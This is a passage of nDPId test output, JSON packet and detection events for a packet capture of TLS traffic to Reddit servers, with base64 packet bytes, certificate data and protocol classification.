EChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5EaWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcrliQTcHEMBWQNVtuPIIV9SxcvePb\/3FD+mQlgNTuGKJN8GbQCnNuEZg2F2SvN539+kGEr8evjP4ac03PM5eQopaHU4MruaZ1SC0dVjd72jEyGtesqwb0ql1Lt0dG3SqTw5AueYCA7xMEahQ7tZuSvsIHZU782vz\/eq7cXH5VMQzoOQek"} +01871{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145060,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwTfYBxWgngBgLMKRMAAABAQgKwtc48al05ijXvi\/TC2rSsd9f\/ld0Uzs1gN2ujkSYs58O09rg1\/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGXkujNVA075ME\/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\/RR3w6RbKFfCs\/mC\/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1oDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzhxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEBCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq\/sELfeNqzqPlt\/yGFUzZgTHbO7Djc1lGA8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls\/3HB40f\/1LkAtDdC2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPitc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0j6tJLp07kzQoH3jOlOrHvdPJbRzeXDLzFgMDAd8WAAHbAQAB1zCCAdMKAQCgggHMMIIByAYJKwYBBQUHMAEBBIIBuTCCAbUwgZ6iFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIYDzIwMjAxMTEyMTIyMDU2WjBzMHEwSTAJBgUrDgMCGgUABBQQX6Z6gAidtSefNc6DC0OInqPHDQQUD4BhHIIxYdUvKOeNRji0LOHG2eICEASBWIkVoZ4tBgg0csD1+oCAABgPMjAyMDExMTIxMjIwNTZaoBEYDzIwMjAxMTE5MTEzNTU2WjANBgkqhkiG9w0BAQsFAAOCAQEAbwsD5QK4DQ9xfMkiwjwxyTNXlhdZjg2N8vB\/PaYfH1XoDJdlWGVbnA8TWdbHQAFf+6hb2yCXT2PrEc5rtmuJ6qsC"} +01141{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":722,"source":"reddit.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":9,"flow_first_seen":1605291686064,"flow_last_seen":1605291686145,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","server_names":"redd.it,*.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redd.it","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"3D:15:31:F3:94:55:33:92:88:5C:61:40:B0:FD:ED:27:6D:29:3A:12"}} +01149{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145061,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwUg4BxWgngBgLMEJvAAABAQgKwtc48al05ihkRhvz1enisus+n+JtTFh5SwLPqnsNQGg3iOJYoXp+wF91pGTE\/3x+aQOXjrcYJPujSbXof\/sNWsX0Ch+B\/eKgUux4+l+H6D2B4ET1JbSLEEOr9ZWpS3RJvElVNKQUtc6UiHPg\/2caAWll+fY5HO0LlKfS0\/+z66ZGktG+DgAoy7TfLapyN4\/YD\/XHQTfVf+ymrIBkogrdwK2UAhWm9rWt7ALq5xFuJyf0ZlOeEe+6ePGSg5v4hVg3I0eT4d0tFgMDASwMAAEoAwAdIH6HSIafHL\/hCiHVUj0ZveFvGwftrPla+scSPr4F6z84CAQBAIv42e0zoakGKUyHohYuuQhX9SVc3AuqK9nx+k4SYNfS0IMjXA4sIj0aOJLTe8dSRH46trFYU8A8Cac07hfQhJJEq4uFIK4QY5bc65Ckj6GnmZ6RqD2F9\/Z+VUx507Vme76NEhRBwoa2iRSo+voVyn3yv79nptRjypTO9u\/4ly\/qsm\/qkYTn8ohi9Ah13ToHiouGsy6H\/PlvGvnMCcv2uVaDt9lrIoSLlvku+it45jH\/5Va72yxrtmQ+T5RvsCTixkp6J47O77YzM7BvB\/tsQQ47asYjTYnwH1kNC20M\/tLnHZMWxAnvLf\/T\/TTCKJS0NZtigvarARY+FutOYpwU3i4WAwMABA4AAAA="} +00456{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145061,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6Vo\/ls46ULgBALMObsAAABAQgKwtc48al05is="} +00454{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145064,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaCdj8E32gBAB9ZitAAABAQgKqXTmVMLXOPE="} +00454{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145068,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaCdj8FIOgBAB85SWAAABAQgKqXTmVcLXOPE="} +00454{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145070,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaCdj8FQGgBAB8JKhAAABAQgKqXTmVcLXOPE="} +00582{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145945,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaCdj8FQGgBgB9YdxAAABAQgKqXTmVcLXOPEWAwMAJRAAACEgdmph34K9vZmrea03hofRhLJS5d6gycs\/IbxulMy89A4UAwMAAQEWAwMAKAAAAAAAAAAAhsMpILyScP4uhEQeessUbI3M0EgUPanhQHw9MXz+3wQ="} +00454{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146055,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaIRj8FQGgBEB9ZI+AAABAQgKqXTmVcLXOPE="} +00591{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146099,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rcToDv7IgBgB9f79AAABAQgKqXTmVsLXOOsXAwMAXgAAAAAAAAABvEL0yUJOjCdNlCZfyMUAZ1urAkUYudWPz5bof2+QElDF3vfAUfW7axtToeUPNB+Ggkspui9eT0SxHuOnJtzAcGynoCgiZY73+Bwb5R\/vvT5\/Poezr0w="} +00453{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146132,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCQMdACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyL4F84MvHgBEB+yLbAAABAQgKqXTmVsLXOPA="} +00454{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146162,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBZ0wACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjpQsOlaP5gBEB++\/1AAABAQgKqXTmVsLXOPE="} +01860{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146916,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzgy8cZci+BgBgLMJxnAAABAQgKwtc486l05ikWAwMAUgIAAE4DA8Bxx8GKtZNXir5aQh5Gy84mJOBs1iBENVNIIXageBt3AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMKxgsACsIACr8ABiEwggYdMIIFBaADAgECAhAEgViJFaGeLQYINHLA9fqAMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjESMBAGA1UEAwwJKi5yZWRkLml0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqqajbv6yxoBUUP7z4hqGEBqUxkIuxIANvgy2sKGAl3jE9LNe9bbgB7FzCPhrmyFURkVvYbXfU9co9q2RsG\/ZLID9oD7cnc4wYj8f5M0Wj7sE4dcOBfT1mL+rKP75s+BKfKTkPZTCKgxJREHiw9NQlhB9n7EhNiUvWmZIAm5zbikqjIrLNp5RC9MOYKZw5cvDcfEExtW47V0qsenFicT1Vp4offkEkRTUZQHa8ZDesXcX4X8FcQ4SffgFPYEu5soxUH5p1gEVUzzt1qKIQ3VpkM9Z1uyEjunxQhHxNgkslvXaUfxNo4vt8AtlnyIrqudEvXm1BoqY1Q95KpDrm7iWCQIDAQABo4IC4DCCAtwwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFF5jqSI83X0TAAcKFOfiu1j5R516MB0GA1UdEQQWMBSCB3JlZGQuaXSCCSoucmVkZC5pdDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBG"} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":736,"source":"reddit.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":7,"flow_first_seen":1605291686064,"flow_last_seen":1605291686146,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01875{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146918,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzgz98Zci+BgBgLMOf8AAABAQgKwtc486l05ikGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSmdiAAAEAwBHMEUCIQD\/04ygSe1MYzrJpdTwrQK9Sjx\/tAOekyn8ZwUHe438MQIgQeoxYr6dp9e0Vi2BfTgg\/tx7yoUBr46n4mPgngP1Cg8AdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSmd+AAAEAwBGMEQCIDQ+4afNmJ6Lq7tcDFhWE5ZRcYt+T8eRVv9HNhRXleMaAiAfvoxXCpDvg3ksn\/DbvlHRhWsdVwta6mdmCm+pp0EQLDANBgkqhkiG9w0BAQsFAAOCAQEAAG3CaPVDekrOfzw6f0I5v2tWlY1xVwLUq3mWKiYqkY13PT0BCSJhi4Wr05nryv4hM2tTgWfXEYy5thizGRFQU2k2\/UwaR1tWB7k6icplfD0Ga+hHuMA1ioLo\/9dpR90j3inuZOlew5NI2+DUxJoSXlo3H8MbyO5DP\/ctl49WhW+y0JaR0mw+Wsni\/W0+ctk2wp4ac\/lpLbD1iXAOjwpg\/HHz0VF8T8dgjOGW64yvr1ftmXr2UumO7tbZmf00WJprBjlf4hclLVDLtjreq8DhsjB3cf\/gLzGIz0xtBET1KwumlL4Vmay44nBXCrqr3Ucoup6L8umjZP\/gUQ4QuW1ijwAEmDCCBJQwggN8oAMCAQICEAH9o+tuynXIiEOLckvPvJEwDQYJKoZIhvcNAQELBQAwYTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEgMB4GA1UEAxMXRGlnaUNlcnQgR2xvYmFsIFJvb3QgQ0EwHhcNMTMwMzA4MTIwMDAwWhcNMjMwMzA4MTIwMDAwWjBNMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5EaWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcrliQTcHEMBWQNVtuPIIV9SxcvePb\/3FD+mQlgNTuGKJN8GbQCnNuEZg2F2SvN539+kGEr8evjP4ac03PM5eQopaHU4MruaZ1SC0dVjd72jEyGtesqwb0ql1Lt0dG3SqTw5AueYCA7xMEahQ7tZuSvsIHZU782vz\/eq7cXH5VMQzoOQek"} +01872{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146919,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzg0\/cZci+BgBgLMCZPAAABAQgKwtc486l05inXvi\/TC2rSsd9f\/ld0Uzs1gN2ujkSYs58O09rg1\/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGXkujNVA075ME\/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\/RR3w6RbKFfCs\/mC\/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1oDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzhxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEBCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq\/sELfeNqzqPlt\/yGFUzZgTHbO7Djc1lGA8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls\/3HB40f\/1LkAtDdC2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPitc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0j6tJLp07kzQoH3jOlOrHvdPJbRzeXDLzFgMDAd8WAAHbAQAB1zCCAdMKAQCgggHMMIIByAYJKwYBBQUHMAEBBIIBuTCCAbUwgZ6iFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIYDzIwMjAxMTEyMTIyMDU2WjBzMHEwSTAJBgUrDgMCGgUABBQQX6Z6gAidtSefNc6DC0OInqPHDQQUD4BhHIIxYdUvKOeNRji0LOHG2eICEASBWIkVoZ4tBgg0csD1+oCAABgPMjAyMDExMTIxMjIwNTZaoBEYDzIwMjAxMTE5MTEzNTU2WjANBgkqhkiG9w0BAQsFAAOCAQEAbwsD5QK4DQ9xfMkiwjwxyTNXlhdZjg2N8vB\/PaYfH1XoDJdlWGVbnA8TWdbHQAFf+6hb2yCXT2PrEc5rtmuJ6qsC"} +01141{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":738,"source":"reddit.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":9,"flow_first_seen":1605291686064,"flow_last_seen":1605291686146,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","server_names":"redd.it,*.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redd.it","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"3D:15:31:F3:94:55:33:92:88:5C:61:40:B0:FD:ED:27:6D:29:3A:12"}} +01144{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146920,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzg2A8Zci+BgBgLMOmtAAABAQgKwtc486l05ilkRhvz1enisus+n+JtTFh5SwLPqnsNQGg3iOJYoXp+wF91pGTE\/3x+aQOXjrcYJPujSbXof\/sNWsX0Ch+B\/eKgUux4+l+H6D2B4ET1JbSLEEOr9ZWpS3RJvElVNKQUtc6UiHPg\/2caAWll+fY5HO0LlKfS0\/+z66ZGktG+DgAoy7TfLapyN4\/YD\/XHQTfVf+ymrIBkogrdwK2UAhWm9rWt7ALq5xFuJyf0ZlOeEe+6ePGSg5v4hVg3I0eT4d0tFgMDASwMAAEoAwAdIMAYTFYSc9yI6h+RWAOHQL2DNiFuo2zRv1bspQjPAXZ9CAQBADRdqxNAaD1p+EwkU7MgWUtg1aoS5MGeIWcavi56bFpkwGjofuR2tpWGpqB\/SNm7qokuFTNTZtDk3qGzpBw79O6ABUi4GNenNsZoSnIRrypN2VRFyZFDcg91LeIar0RrmwJuvYolcz3K+0XWaqxFRFkUvMDs3+m4aHp8+F9cg632xAU7jXXBVj9B4nDkO3jidxzwkjpxq2yY32nvqHLvvugg0oZ3Re7arE\/R0OqnlFvh5N4iB\/FVf3dZ4F13YLLXmFH9u09USniF+SGcq3M2LFQkx12YHmdCaNE\/GFfFaITTN7Jy1HeLHIb\/2B1qwhlNFtTvVqEkzIE\/XrZurIOWMs0WAwMABA4AAAA="} +00438{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":146974,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gAi8TABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyL4EAAAAAUAQAADI2AAA="} +00455{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147568,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YWsX6uGUygBALMFIrAAABAQgKwtc49Kl05jA="} +00455{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":743,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":147569,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBNGFwR09SgBALMKN6AAABAQgKwtc49Kl05jA="} 